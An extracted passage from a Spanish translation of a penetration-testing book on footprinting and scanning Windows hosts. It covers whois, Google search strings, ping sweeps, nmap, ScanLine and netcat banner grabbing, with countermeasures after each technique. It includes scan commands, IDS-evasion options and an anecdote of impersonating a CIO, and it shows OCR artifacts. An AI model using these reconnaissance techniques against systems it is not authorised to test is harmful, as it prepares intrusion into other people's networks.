de directivos de seguridad 4ef1-40d2-822d-19d9a2a7665d1033.mspx?mfr=true

Guía de seguridad de Microsoft’s http://microsoft.com/downloads/details.aspx?FamilyId=
Windows Server 2003 8A2643C1-0685-4D89-B655-521EA6C7B4DB
Criterios comunes para eva- www.commoncriteriaportal.org
luación de la seguridad en tec-
nología de la información (CCI-
TSE) o Criterios comunes (CC)
Revisión general de Active Direc- http://en.wikipedia.org/wiki/Active_Directory
tory de Microsoft
Derechos de usuario en Windows http://www.microsoft.com/resources/documentation/windows/xp/
Server 2003 all/proddocs/en-us/uratopnode.mspx?mfr=true
Windows Vista para desarrolla- http://weblogs.asp.net/kennykerr/archive/2006/09/29/Windows-Vista-
dores, parte 4: control de cuenta for-Developers-_1320_-Part-4-_1320_-User-Account-Control.aspx
de usuario
Q143475, “Clave de Windows http://support.microsoft.com/support/kb/articles/q143/4/75.asp
NT del sistema permite cifrado
seguro del SAM”
Sitio de Luke Kenneth Casson www.cb1.com/~lkcl/
Leighton, un gran recurso para
información de autentificación en
Windows
Referencias de .NET Framework

Página principal de .NET Frame- http://msdn.microsoft.com/netframework/
work en la red de desarrolladores
de Microsoft
GotDotNet, mantenido por em- www.gotdotnet.com
pleados de Microsoft en el equipo
de desarrollo de .NET Framework
Libros recomendados
Inside Windows 2000, 3a edición por Solomon & Russinovich. Microsoft Press (2000)
Undocumented Windows NT por Dabak, Phadke, and Borate. IDG Books (1999)
DCE/RPC over SMB: Samba and por Luke Kenneth Casson Leighton. SAMS (1999)
Windows NT Domain Internals
.NET Framework Security por Brian A. LaMacchia et al. Pearson Education (2002)
Hacking Exposed Web Applications, por Joel Scambray, Mike Shema y Caleb Sima. McGraw-Hill (2006)
2a. Edición

capítulo 3
e c c i ó n
rec o l n
m a c i ó
f o r
de in t r e o
y ras
53
03_SCAMBRAY_03.indd 53 7/28/08 8:44:30 PM

T
odos hemos oído la frase “espiar el establecimiento”, porque se usa para describir las fa-
ses preparatorias de un robo bien planeado. La recolección de información y el rastreo
son el equivalente digital de espiar el establecimiento.
La recolección de información podría considerarse el equivalente de buscar en el directorio
telefónico los números y las direcciones relacionados con un objetivo corporativo, mientras que
el rastreo (exploración) es similar a ir al lugar en cuestión e identificar cuáles edificios están ocu-
pados y cuáles puertas y ventanas pueden estar disponibles para acceso. La recolección de infor-
mación y el rastreo representan la identificación de destinos en los que se puede irrumpir y las
vías disponibles de entrada y son el primer paso crítico en la metodología del atacante de Win-
dows. Resulta claro que atacar la casa equivocada o pasar por alto la puerta de al lado que no
tiene cerradura puede descarrilar rápidamente un ataque o la auditoría de penetración legítima
de una organización.
RECOLECCIÓN DE INFORMACIÓN
Recolección de información es el proceso de creación de un perfil completo de la situación en tec-
nología de la información (IT, Information Technology) del objetivo, que suele abarcar las si-
guientes categorías:
• Internet Nombres de dominio de red (sistema de nombres de dominio o DNS),

bloques de direcciones de red y ubicación de sistemas críticos como servidores, hosts
de intercambio de correo, gateways, etcétera.
• Intranet En esencia, los mismos componentes que la categoría de Internet, pero
específica para redes internas con su propio separador dirección/espacio de nombres,
si es aplicable.
• Acceso remoto Puntos de acceso de marcado telefónico y redes privadas virtuales
(VPN, Virtual Private Networks).
• Extranet Organizaciones socias, subsidiarias, redes, conectividad de terceros, etcétera.
• Varios Categoría general para cualquier fuente de información que no caiga de
manera explícita en las demás categorías, incluidos Usenet, mensajería instantánea,
bases de datos de la comisión de valores e intercambio, o bolsa de valores (SEC,
Securities and Exchange Commission), perfiles de empleados, etcétera.
Desde la perspectiva del probador profesional de penetraciones, al recolectar información lo

que se busca es, principalmente, delimitar el trabajo de manera completa. Debe probar la reco-
lección de información de cada una de las categorías de IT de la organización de una manera
metodológica y completa para asegurar que ningún aspecto de la situación digital de la organi-
zación se pase por alto en la posterior prueba de rastreo y penetración. Por supuesto, tal vez la
postura del hacker malicioso sea la misma: busca las partes olvidadas de una infraestructura que
esté sin protección, con deficiencias de mantenimiento, configurada de manera insegura, o cual-
quier combinación de estos tres factores.
Una vez dicho esto, la revisión de muchos de estos componentes está fuera del alcance de
este libro, que se concentra en Windows. Por ejemplo, la recopilación de información de la pre-
sencia de acceso remoto de un objetivo suele hacerse al analizar los registros telefónicos y reali-
zar una guerra de marcado, que no es un proceso específico de Windows. La delimitación física
03_SCAMBRAY_03.indd 54 7/28/08 8:44:32 PM

Capítulo 3: Recolección de información y rastreo 55
de esta guerra que gira alrededor de las oficinas distribuidas de la corporación, o la evalua-
ción de los sistemas de punto de venta también son buenos ejemplos de tipos de investigación
no orientada a Windows. No se quiere decir con esto que este análisis no sea crítico para estimar
la postura general de una organización, sino que suele requerir técnicas analíticas interdiscipli-
narias que no necesariamente están centradas en Windows.
Nos concentraremos brevemente en la recopilación de información de sistemas de Windows
vía Internet, porque suele ser la fuente de las fugas de información más peligrosas acerca de la
presencia en línea de una organización.
Whois
Popularidad: 6
Simplicidad: 9
Impacto: 1
Clasificación de riesgo: 5
Pueden usarse muchas herramientas para recopilar información de la presencia en Internet

de una organización, pero la más completa y efectiva es whois, la utilería estándar para consul-
ta de registros de Internet. Proporciona varios tipos de información acerca de la presencia en In-
ternet de una organización, incluida la siguiente:
• Datos de registradores de Internet

• Información de la organización
• Servidores del sistema de nombres de dominio (DNS, Domain Name System)
• Asignaciones de bloques de direcciones de red
• Información de punto de contacto (POC, Point Of Contact)
Los datos consultados mediante whois están dispersos en diversos servidores de todo el
mundo por razones técnicas y políticas. Para complicar las cosas, la sintaxis de consulta de
WHOIS, el tipo de consultas permitido, los datos disponibles y el formato de los resultados pue-
de variar ampliamente entre un servidor y otro. Más aún, muchos de los registradores están res-
tringiendo activamente las consultas a spammers combativos, hackers y sobrecarga de recursos
(por cierto, la información para .mil y .gob se ha extraído por completo de la vista del público
debido a problemas de seguridad nacional). Por último, los nombres de dominio de Internet
(como winhackingexposed.com) están registrados de manera separada de las direcciones numé-
ricas [como direcciones IP, bloques de red, números de sistema autónomo del protocolo de ga-
teway límite (BGP, Border Gatewy Protocol), etc.], de modo que deben aplicarse generalmente
dos metodologías separadas de whois para desarrollar información completa acerca de un obje-
tivo. A pesar de estas peculiaridades, whois sigue siendo una de las herramientas disponi-
bles más efectivas para minado de datos de presencia de Internet, de modo que analizaremos
aquí algunas de las técnicas más prominentes para explotarlo.
Una estupenda herramienta para la realización de muchos tipos de consultas en Internet es
Sam Spade, que se incluye en la versión Win32 y cuya interfaz Web está disponible junto con
la versión en http://sampspade.org. La herramienta de Sam Spade se muestra en la figura 3-1,
realizando una consulta de nombre de dominio que revela números telefónicos de contacto ad-
ministrativos.
03_SCAMBRAY_03.indd 55 7/28/08 8:44:33 PM

Figura 3-1 La herramienta de consulta whois de Sam Spade revela información de punto de contacto
acerca de un objetivo corporativo
Mucha de la información revelada por whois puede parecer inocua, pero para resaltar los
posibles riesgos, siempre nos gusta relatar una de nuestras anécdotas favoritas de consultoría,
relacionada con una compañía de tecnología de tamaño medio que publicó el nombre de su di-
rector de información, línea de teléfono directo y dirección de correo electrónico como informa-
ción de punto de contacto para la organización en uno de los grandes registros de Internet. Por
tanto, la obtención de esta información era trivial empleando una consulta whois POC. Utilizan-
do esta información para hacernos pasar como el director de información, rápidamente obtuvi-
mos acceso remoto a varios recursos internos valiosos en el cliente y unos días después habíamos
comprometido toda la infraestructura de red de la compañía.
Sam Spade es eficiente en varios tipos de consulta whois y puede buscar en muchas bases de
datos whois diferentes en Internet (registros de nombre de dominio, bases de datos de direccio-
nes IP, etc.). También realiza muchas tareas más que sólo whois, incluidas ping, traza de ruta,
búsqueda a profundidad, transferencias de zona DNS, revisión de retransmisión SMTP, rastreo
de sitios Web y mucho más. Realmente es una utilería práctica.
Como se indicó antes, la información de dirección IP se almacena en un conjunto separado
de registros de datos de nombre de dominio. Aunque Sam Spade puede consultar registros de
direcciones IP, en ocasiones nos resulta útil visitarlos directamente. El American Registry for In-
ternet Numbers (ARIN) es el cuerpo oficial para asignar bloques de direcciones IP en Estados
Unidos y ofrece una herramienta whois basada en Web para búsqueda en su base de datos en
http://arin.net/whois. Por supuesto, necesitará consultar otros registros como Asia-Pacific
Network Information Center (APNIC) y Réseaux IP Européens (RIPE) para bloques que no se
03_SCAMBRAY_03.indd 56 7/28/08 8:44:34 PM

encuentran en Estados Unidos. En la figura 3-2 se muestra una consulta de ejemplo contra el
nombre de empresa “Foundstone” que se ejecutó usando la herramienta whois Web de ARIN.
Contramedidas ante la recopilación de información con whois

El etos original libre y abierto de Internet deja una gran cantidad de información accesible para
el público y hoy en día sigue siendo el caso predeterminado. A medida que ha madurado el mer-
cado de registro de nombres de dominio en Internet, las opciones para proteger mejor esta infor-
mación se han extendido más. Por ejemplo, compañías de host de Internet como Verio ahora
ofrecen “registro privado” que oculta los datos críticos de registro de nombre de dominio (el
nombre, la dirección y el número de teléfono para contactos administrativos y técnicos se cam-
biará por información genérica relacionada con Verio), reduciendo, así, la posibilidad de estar
sujeto a robo de identidad y envío de correo basura no deseado. Verio cobra una cuota anual por
esta característica, lo que nos parece un tanto indeseable (¿deben cobrar la cuota para publicar
los datos o, quizás, cobrar a quienes ejecutan la consulta?).
ARIN permite que la información de punto de contacto se designe como privada, con la ex-
cepción de que la información de por lo menos un punto de contacto debe ser visible.
Ya sea que se marque como privada, o no, las organizaciones deben dar algunos pasos para
limitar la calidad de la información que ponen a disposición mediante whois o consultas simila-
res. Una regla de oro es que la información proporcionada a los registradores de Internet debe
limpiarse de información de contacto directo con personal específico de la empresa u otra infor-
mación inapropiada. Recuerde la historia acerca del director de información que hizo que su
información de contacto se publicara en datos de whois.
Figura 3-2 Una consulta contra “Foundstone” ejecutada mediante la herramienta Web whois de ARIN
proporciona los bloques de direcciones IP que definen la presencia en Internet de la empresa
03_SCAMBRAY_03.indd 57 7/28/08 8:44:36 PM

Motores de búsqueda de Internet

Popularidad: 6
Simplicidad: 9
Impacto: 1
La identificación en Internet de sistemas de Windows dentro de sitios o dominios específicos

es muy fácil utilizando un motor de búsqueda estándar. Uno de nuestros favoritos es Google,
que puede encontrar apariciones de rutas de archivo y convenciones de nombre comunes de la
familia NT en todo Internet o sólo dentro de un sitio o dominio. En la figura 3-3 se muestra un
ejemplo de una búsqueda con Google del dominio .com de Internet para la ruta raíz de Web co-
mún de NT/2000 C:\Inetpub. Observe que esta búsqueda identificó casi 48 000 coincidencias en
0.23 segundos.
La búsqueda de elementos más jugosos es tan fácil como imaginarlos y buscarlos mediante
Google (piense en contraseñas, topologías y cadenas de conexión). La búsqueda podría fácil-
mente crearse y estrecharse a la medida de un sitio o dominio específico, como www.victima.
com o victima.com, empleando la opción Búsqueda avanzada de Google. En la tabla 3-1 se
muestran algunas otras cadenas de búsqueda interesantes usadas para identificar sistemas de
Windows en Internet vía los motores de búsqueda como Google. El asistente mejor conocido
Figura 3-3 Uso de Google para encontrar sistemas de Windows en el dominio de nivel superior “.com”
03_SCAMBRAY_03.indd 58 7/28/08 8:44:38 PM

Cadena de búsqueda Posible resultado

c:\winnt Muestra servidores con páginas que hacen referencia a la
carpeta del sistema estándar de NT/2000
c:\inetpub Revela servidores con páginas que hacen referencia a la carpeta
raíz de servicios de Internet estándar de NT/2000
TSWeb/default.htm Identifica los Servicios de terminal de Windows Server 2003
accesibles mediante el control ActiveX incrustado en el
explorador
Tabla 3-1 Cadenas de búsqueda de ejemplo y sus resultados
para usar Google con el fin de encontrar los datos más alarmantemente confidenciales es j0hnny,
cuya Google Hacking Database en http://johnny.ihackstuff.com/ghdb.php simplemente lo de-
jará perplejo con las cosas que pueden encontrarse con búsquedas simples.
El principal culpable detrás de este problema es la colocación de rutas de archivo revelado-
ras en el HTML de una página Web. Debido a que los motores de búsqueda como Google sim-
plemente indizan el contenido de los sitios de Internet, lo convierten en un índice práctico de los
sitios que contienen cadenas como c:\winnt y similares. Uno de los mejores ejemplos de esto es
cuando el título de una página Web contiene información acerca de la ruta a un documento. (El
título puede encontrarse dentro de las etiquetas <title> </title>.) En ocasiones, Microsoft
FrontPage inserta automáticamente la ruta completa a un documento cuando genera HTML, de
modo que esté consciente de que este comportamiento puede ofrecer más información acerca
de sus sistemas de la que quisiera compartir.
Contramedidas ante la recopilación de información

con motores de búsqueda
Para evitar que su sitio se muestre en una búsqueda simple en Internet, necesita eliminar refe-
rencias a cadenas reveladoras en su HTML. Si cree que no le gustará explorar su propio HTML
en busca de estas minas, siempre puede usar un motor de búsqueda para descubrirlas.
Aunque tenga éxito en la eliminación de datos inapropiados de su contenido Web, usted
debe estar consciente de que Internet tiene memoria. Aplicaciones como la caché de Google y
la Wayback Machine en web.archive toman instantáneas de contenido Web que data desde
1996. El único recurso que conocemos para estos casos es acercarse a los propietarios de la apli-
cación (como Google) y solicitar que se elimine o purgue la información en caché de los datos
ofensores.
En el resto de este capítulo y, por cierto, de todo el libro, supondremos que se ha hecho el
trabajo crucial de recopilar información. Esto no significa disminuir el papel crítico que juega la
recopilación de información en la metodología general de un ataque. Evidentemente, si los pa-
sos básicos de cualquier metodología no se realizan con deliberación y precisión, el resto del
proceso padece inmensamente (¡sobre todo en seguridad, donde un servidor o una línea de mó-
dem descuidado puede ser su ruina!).
03_SCAMBRAY_03.indd 59 7/28/08 8:44:38 PM

RASTREO
Suponiendo que se ha obtenido una adecuada recopilación de información, el siguiente paso es
identificar cuáles sistemas están “vivos” dentro de los rangos de red y qué servicios ofrecen.
Para regresar brevemente a nuestra analogía de espiar el establecimiento, el rastreo es como
identificar la ubicación del establecimiento y catalogar sus puertas y ventanas. El rastreo abarca
estos tres componentes principales:
• Barridos de ping
• Rastreo de puertos
• Obtención de anuncios
En esta sección hablaremos de cada una de estas técnicas.
Sugerencia
Una vez más, aquí nos concentraremos en Windows, pero resulta evidente que el rastreo es aplicable
a todas las tecnologías, sean fabricadas por Microsoft o no.
Barridos de ping
Popularidad: 5
Simplicidad: 5
Impacto: 1
La solicitud de eco del protocolo de mensajes de control de Internet (ICMP, Internet Control
Message Protocol), mejor conocida como ping, por la utilería que realiza esas solicitudes, se ha
usado tradicionalmente para determinar si un host TCP/IP está vivo. Es probable que cualquier
persona que esté leyendo este libro haya usado ping en un momento u otro, pero he aquí una
rápida ilustración de la utilería ping integrada de Windows para aquellos pocos que han pasado
su vida entre algodones hasta este punto.
C:\>ping www.victima.tst
Haciendo ping a www.victima.tst [192.168.2.5] con 32 bytes de datos:
Respuesta desde 192.168.2.5: bytes=32 tiempo<38ms TTL=47

Estadísticas de ping para 192.168.2.5:

Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Mínimo = 35ms, Máximo = 40ms, Media = 37ms
03_SCAMBRAY_03.indd 60 7/28/08 8:44:39 PM

Un host vivo responderá con una respuesta de eco de ICMP, o ping, propio, y si no surge ningún
otro factor de restricción entre el emisor y el receptor del ping, se genera esta respuesta. Si no
existe el host remoto o está temporalmente inalcanzable, el ping se perderá y surgirán varios
mensajes de error.
El ping es una manera verdaderamente eficiente de identificar hosts vivos, sobre todo cuan-
do se usa para realizar “barridos de ping”, que, como su nombre lo indica, barre redes enteras
usando ping para identificar todos los hosts vivos. Por desgracia, casi todas las redes conectadas
a Internet bloquean los ping hoy en día, de modo que una falla en recibir una respuesta de un
ping de un sistema por lo general significa que una firewall o un enrutador intermedio está blo-
queando ICMP y no se puede obtener información acerca de si existe o no el host.
Por tanto, aunque los barridos de ping siguen siendo útiles para “localización de eco” rápida y
sucia en redes de Internet, en realidad no son efectivos para análisis de seguridad. Una mejor ma-
nera de identificar hosts vivos consiste en determinar si están ejecutando algún servicio, lo que se
logra mediante el rastreo de puertos. Casi todas las herramientas de rastreo de puertos incorporan
funcionalidad simultánea de barrido de ping, así que hablemos de los rastreadores de puertos.
Rastreadores de puertos
Popularidad: 9
Simplicidad: 5
Impacto: 2
El rastreo de puertos es el acto de conectarse a cada posible servicio de escucha, o puerto, en

un sistema y ver si responde.
El bloque de construcción de un rastreo de puertos TCP estándar es el saludo de tres vías,
que se detalla en la figura 3-4. En este diagrama, un cliente típico está conectado al servicio
World Wide Web que se ejecuta en el puerto 80 TCP. El cliente asigna un puerto de origen arbi-
trario para el conector en un puerto superior a 1024 y realiza un saludo de tres vías con el servi-
cio WWW que escucha en el puerto 80 del servidor. Una vez que el reconocimiento final llega al
servidor, se coloca una sesión TCP válida entre los dos sistemas. Los datos de la capa de la apli-
cación pueden intercambiarse ahora en la red.
Este ejemplo demasiado simplificado ilustra una sola conexión TCP. El rastreo de puertos
realiza una serie de estas conexiones con puertos arbitrarios e intentos por negociar el saludo de
tres vías. Por ejemplo, un atacante podría rastrear del puerto 1 al 100 en un sistema para tratar
de identificar si cualquier servicio común como correo (TCP 25) y Web (TCP 80) está disponible
en ese host.
Variaciones del rastreo de puertos Diversas variaciones en el rastreo de conexión TCP estándar es-
tán diseñadas para mejorar la exactitud, la rapidez y el sigilo. Para un buen análisis del rastreo
de puertos en todas sus formas, consulte www.insecure.org/nmap. A continuación se presentan
las variaciones más prácticas.
• Rastreo de puertos de origen Al especificar un puerto de origen en el cual

se origina la conexión TCP, en lugar de aceptar cualquier puerto asignado por el
sistema operativo arriba del 1024, es posible que un atacante evada todos los controles
de acceso del enrutador o la firewall diseñados para filtrar un puerto de origen.
03_SCAMBRAY_03.indd 61 7/28/08 8:44:40 PM

Figura 3-4 El saludo de tres vías de TCP, bloque de construcción del rastreo de puertos TCP clásico
• Rastreo SYN Al prescindir del último paquete SYN en el saludo de tres vías, puede
evitarse una tercera parte del trabajo adicional de un rastreo de “conexión” TCP,
aumentando así la velocidad cuando se rastrea una gran cantidad de sistemas. El
SYN/ACK se usa para medir el estado del puerto en cuestión.
• Rastreo UDP Una variación obvia utilizada para identificar servicios que no son
TCP, como un protocolo simple de administración de red (SNMP, Simple Network
Management Protocol). Por lo general, el rastreo del protocolo de datagrama de
usuario (UDP, User Datagram Protocol) envía un paquete UDP al puerto en cuestión,
y si se recibe un mensaje de “puerto ICMP inalcanzable”, entonces marca el servicio
como no disponible. Si no se recibe respuesta, el servicio se marca como escuchando.
Esto puede dar como resultado falsos positivos en caso de congestión de la red o si el
control de acceso bloquea UDP; por tanto, el rastreo UDP es, en esencia, poco confiable.
Las mejores herramientas de rastreo de puertos realizan todos estos tipos de rastreos, y más.
Echemos un vistazo a algunos de los más flexibles rastreadores de puertos.
Herramientas de rastreo de puertos Uno de nuestros rastreadores favoritos es SuperScan, escrito

por Robin Keir de Foundstone. SuperScan es una utilería rastreadora de red rápida, flexible y
gráfica que se entrega a un gran precio: ¡gratis! También permite la especificación flexible del IP
de destino y de listas de puertos. La característica “Read port from file” es especialmente conve-
niente para consultores de seguridad ocupados. SuperScan también presenta otra gran cantidad
de características, incluidos obtención de anuncios, rastreo de SYN, velocidad ajustable de ras-
treo, capacidades de recopilación de información como whois, creación de informes HTML e
incluso enumeración de funcionalidad de Windows (consulte el capítulo 4 para conocer más
acerca de la enumeración). Recomendamos la configuración de rastreos de conexión TCP en lu-
gar de rastreo SYN en la ficha “Host And Service Discovery” para obtener resultados más con-
sistentes. En la figura 3-5 se muestra SuperScan en el trabajo de rastrear en forma predetermina-
da un controlador de dominio de Windows Longhorn Server Build 1715.
Como a cualquier persona, nos encantan las interfaces gráficas, pero para el trabajo indus-
trial a gran escala, es difícil vencer a los rastreadores de línea de comandos, por su velocidad y
flexibilidad. Uno de los rastreadores más populares de todo los tiempos es nmap, que hemos
usado desde sus primeras versiones. Nmap tiene el conjunto de características más completo de
cualquier rastreador de puertos disponible hoy en día, incluido rastreo IP, recopilación de infor-
mación de sistema operativo (que se analiza en páginas posteriores de este capítulo), evasión de
sistemas de firewall/detección de intrusión y salida en varios formatos compatibles con XML.
03_SCAMBRAY_03.indd 62 7/28/08 8:44:41 PM

Figura 3-5 SuperScan rastrea un controlador de dominio Windows Server 2008
La versión de Windows viene ahora con un autoinstalador que instala automáticamente las de-
pendencias (como Winpcap) y configura detalles de rendimiento. La única desventaja de nmap
es que su gran volumen de características vuelve un poco desafiante el aprendizaje para usarlo
de manera efectiva sin una práctica sustancial (o un buen tutor). A continuación se muestra un
simple rastreo completo de puertos de un controlador de dominio Longhorn Server Build 1715
empleando nmap:
C:\>nmap -p1-65535 192.168.234.220
Starting Nmap 4.20 ( http://insecure.org ) at 2007-03-11 21:03 Pacific

Daylight
Time
Interesting ports on 192.168.234.220:
Not shown: 65519 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
03_SCAMBRAY_03.indd 63 7/28/08 8:44:41 PM

445/tcp open microsoft-ds

464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open unknown
MAC Address: 00:0C:29:28:6C:33 (VMware)
Nmap finished: 1 IP address (1 host up) scanned in 305.750

seconds
Otro buen rastreador de línea de comandos es ScanLine (antes denominado fscan). Aunque
carece de la gran cantidad de características que tiene nmap, cubre de manera muy elegante los
fundamentos:
• Toma la entrada del archivo de texto para hosts y puertos

• Rastrea TCP y UDP de manera intercambiable; si usa entrada de archivo de texto para
puertos, incluya el prefijo –u para puertos UDP en la línea (por ejemplo, -u130-140) o
sólo use la lista interna de puertos UDP con el interruptor –U)
• Obtiene anuncios mientras rastrea (la obtención de anuncios se analiza en su propia
sección, un poco más adelante)
• Puede realizar rastreo de puertos utilizando el interruptor –g
• Tiene características de sigilo: el ping es opcional (–p), puede hacerse aleatorio el orden
de los puertos (–z), el interruptor –d “gotea” los puertos a la velocidad definida por el
usuario, para evitar que lo perciban los sistemas de detección de intrusos (IDS)
• Puede utilizarse el interruptor –c para cambiar el valor de tiempo de espera de la
conexión para esperar respuestas de puertos TCP y UDP, permitiendo que los usuarios
elijan si quieren rastreos más rápidos (número menor) o más exactos (número mayor)
• Con un uso juicioso del interruptor –c, los rastreos exactos de LAN pueden alcanzar
más de 100 puertos por segundo
La siguiente sintaxis de ScanLine ejemplifica un rastreo simple para servicios que se encuen-
tran a menudo ejecutando en sistemas de Windows. No significa que sea un rastreo exhaustivo,
sino que es una manera muy rápida y exacta de determinar si hay sistemas Windows conectados.
c:\>s1 –bpz –c 300 –t 1–445,3389 –u 88,135–137,161,500 10.0.0.1–99
El interruptor –bpz indica a ScanLine que obtenga anuncios (b), que no haga ping en cada
host antes de rastrearlo (p) y que no ordene de manera aleatoria los puertos (z). El interruptor –c
establece un tiempo de espera de 300 milisegundos para una respuesta de un puerto, permitien-
do rastreos más rápidos (la opción predeterminada es 4000). Los interruptores –t y –u definen
que habrán de rastrearse los puertos TCP y UDP, respectivamente. Por último, el último argu-
mento de comando especifica el rango de direcciones IP que habrá de rastrearse (puede especifi-
car un rango de direcciones IP, una lista delimitada por comas o una combinación de ambos, tal
como están definidos los puertos). He aquí cómo podría ser la salida de este tipo de rastreo:
03_SCAMBRAY_03.indd 64 7/28/08 8:44:42 PM

10.0.0.1
Responds with ICMP unreachable: Yes
TCP ports: 53 80 88 135 139 389 445 3389
UDP ports: 88 137 500
TCP 80:
[HTTP/1.1 200 OK Content-Length: 1433 Content-Type: text/html
Content-Location: http://192.168.234.244/iisstart.htm
Last-Modified: Sat, 22 Feb 2003 01:48:30 G]
TCP 389:
[0 a]
Observe que aparecen en la lista todos los puertos activos y que se han obtenido los anuncios
de algunos puertos (por ejemplo, al parecer el sistema está ejecutando un servidor Web en el
puerto 80). Este rastreo determinado promedia alrededor de 80 puertos por segundo en una co-
nexión LAN.
En la tabla 3-2 se presenta una lista de varios servicios TCP y UDP que suelen encontrarse
escuchando en productos de Windows. Aunque algunos de estos puertos son comunes a mu-
chos sistemas operativos orientados a Internet (por ejemplo, TCP 80/HTTP), los que aparecen
en negritas son específicos de productos de Windows (por ejemplo, TCP 445/SMB sobre TCP).
También puede usar esos puertos como archivos para su propia rutina de ScanLine o nmap, o
analizar sintácticamente la salida de cualquier herramienta que busque estos puertos, si está in-
teresado en encontrar sistema y servicios de Windows.
He aquí algunas cosas que deben tomarse en cuenta acerca de la tabla 3-2:
• Los sistemas de la familia NT escuchan en el TCP 139, como opción predeterminada,

pero Windows 9x no escucha en el TCP/UDP 135.
• Otro diferenciador es el TCP/UDP 445, que está disponible como opción
predeterminada en Windows 2000 y posterior, pero no en NT 4 o Windows 9x.
Esta pequeña parte de trivialidad debe permitirle distinguir entre miembros de la familia Win-
dows, si todos estos puertos se muestran en los resultados del rastreo de puertos.
Un punto final acerca de la tabla 3-2. Desde Windows XP Service Pack 2, Microsoft ha imple-
mentado la Firewall de Windows para bloquear todos esos puertos, como opción predetermina-
da, de modo que no los verá en los resultados del rastreo de puertos. Una excepción interesante
son los servidores de Windows que se han promovido a controladores de dominio que presenta-
rán una listas de varios de estos servidores como disponibles. Recuerde nuestra prueba de un con-
trolador de dominio predeterminado Longhorn Server Build 1715 empleando nmap en páginas
anteriores de este capítulo. Como puede ver de éste y otros resultados de prueba de rastreador en
esta sección, varios servicios están escuchando como opción predeterminada en controladores de
dominio de Longhorn (por lo menos en la construcción previa a la versión), y también fue permi-
tido el ping. Validamos estos resultados al ejecutar netstat en el host de destino, y todos menos un
FTP estaban en realidad escuchando (no estamos seguros por qué FTP apareció en esta prueba en
particular). La Firewall de Windows estaba activada y en su configuración predeterminada. Casi
todos estos servicios están relacionados con la funcionalidad de dominio de Windows, de modo
que este resultado no es inesperado. Pero aún es sorprendente ver que todos estos servicios que
pueden ser explotables están accesibles como opción predeterminada en controladores de domi-
nio que se supone son guardianes de la infraestructura de dominio de Windows.
03_SCAMBRAY_03.indd 65 7/28/08 8:44:43 PM

Protocolo Número de puerto Servicio

TCP 21 FTP
TCP 25 SMTP
TCP/UDP 53 DNS
TCP 80 WWW
TCP/UDP 88 Kerberos
UDP 123 Network Time
TCP 135 MSRPC Endpoint Mapper
UDP 137 NetBIOS Name Service
UDP 138 NetBIOS Datagram Service
TCP 139 NetBIOS Session Service (SMB/CIFS
sobre NetBIOS)
UDP 161 SNMP
TCP/UDP 389 LDAP
TCP 443 HTTP sobre SSL/TLS
TCP/UDP 445 Direct Host (SMB/CIFS sobre TCP)
TCP/UDP 464 Kerberos kpasswd
UDP 500 Inet Key Exch, IKE (IPSec)
TCP 593 HTTP RPC Endpoint Mapper
TCP 636 LDAP sobre SSL/TLS
TCP 1433 MSSQL
UDP 1434 MSSQL Instance Mapper
TCP 3268 AD Global Catalog
TCP 3269 AD Global Cat sobre SSL
TCP 3389 Servidor de terminal de Windows
TCP/UDP 4500 Microsoft IPsec NAT Traversal
TCP (Puerto de 4 dígitos IIS HTML Mgmt (W2K)
seleccionado
aleatoriamente)
Tabla 3-2 Servicios TCP/UDP comunes de Windows
03_SCAMBRAY_03.indd 66 7/28/08 8:44:44 PM

Contramedidas ante los barridos de ping y el rastreo de puertos

Los barridos de ping y los rastreos de puertos se bloquean mejor en el nivel de red empleando
configuraciones de control de acceso de enrutador, firewall, o ambos, que bloqueen todo el acce-
so entrante y saliente que no sea específicamente necesario. Asegúrese de manera especial que
las solicitudes de eco de ICMP y los puertos TCP/UDP específicos de Windows 135-139 y 445
nunca estén disponibles desde Internet.
Sugerencia Las solicitudes de eco son sólo uno de los 17 tipos de paquetes ICMP. Si es necesario algún acceso
ICMP, considere con cuidado cuáles tipos de tráfico ICMP pasar. Un método minimalista puede ser
permitir sólo los paquetes ICMP ECHO-REPLY, HOST UNREACHABLE y TIME EXCEEDED en la
red DMZ.
En el caso de hosts independientes, deshabilite los servicios innecesarios para que no se re-
gistren en los rastreos de puertos. En el capítulo 4 se analizan las estrategias para deshabilitar los
servicios específicos de Windows TCP/UDP 135-139 y 445.
También es una buena idea configurar la Firewall de Windows (o los filtros IPSec basados en
hosts en versiones anteriores de Windows que carecen de firewall) para bloquear todos los
servicios, excepto los que se necesiten de manera explícita, aunque los haya deshabilitado o
bloqueado en la firewall. La defensa a profundidad crea una seguridad más robusta y evita
un lapso de seguridad si alguien habilita inadvertidamente un servicio no autorizado en el
sistema.
NOTA Asegúrese de establecer la clave de Registro NoDefaultExempt cuando use IPSec para deshabilitar
la exención para Kerberos y el tráfico del protocolo de configuración de reservación de recursos
(RSVP, Resource Reservation Setup Protocol).
Los administradores y asesores de seguridad que realizan rastreo de red autorizado recono-
cen que los IDS pueden detectar barridos de ping y rastreos de puertos. Aunque el volumen de
esta actividad en Internet es tan grande que probablemente sea un desperdicio de tiempo ras-
trear estos sucesos de manera religiosa, la directiva de su organización puede variar sobre la
cantidad de monitoreo de rastreos que debe realizarse.
Obtención de anuncios
Popularidad: 9
Simplicidad: 5
Impacto: 2
Como ya ha visto en nuestras demostraciones anteriores de las herramientas de rastreo de

puertos, la información de anuncios de servicio puede leerse mientras se conecta a los servicios
durante el rastreo de puertos. La información de anuncios puede revelar el tipo de software en
uso (por ejemplo, si el sitio Web es IIS) y quizás también el sistema operativo. Aunque no es ex-
traordinariamente sensible, esta información puede agregar mayor eficiencia a un ataque por-
que estrecha el enfoque del atacante al software específico en cuestión.
03_SCAMBRAY_03.indd 67 7/28/08 8:44:44 PM

La obtención de anuncios puede realizarse contra puertos individuales empleando una he-
rramienta simple como telnet o netcat. He aquí un ejemplo de obtención de anuncios usando
netcat y el método HEAD de HTTP (CRLF indica un retorno de carro).
C:\>nc -vv server 80

server [192.168.234.244] 80 (http) open
HEAD / HTTP/1.0
[CRLF][CRLF]
HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://192.168.234.244/iisstart.htm
Last-Modified: Sat, 22 Feb 2007 01:48:30 GMT
Accept-Ranges: bytes
ETag: “"06be97f14dac21:2da""
Server: Microsoft-IIS/6.0
Date: Sat, 24 May 2007 22:14:15 GMT
Connection: close
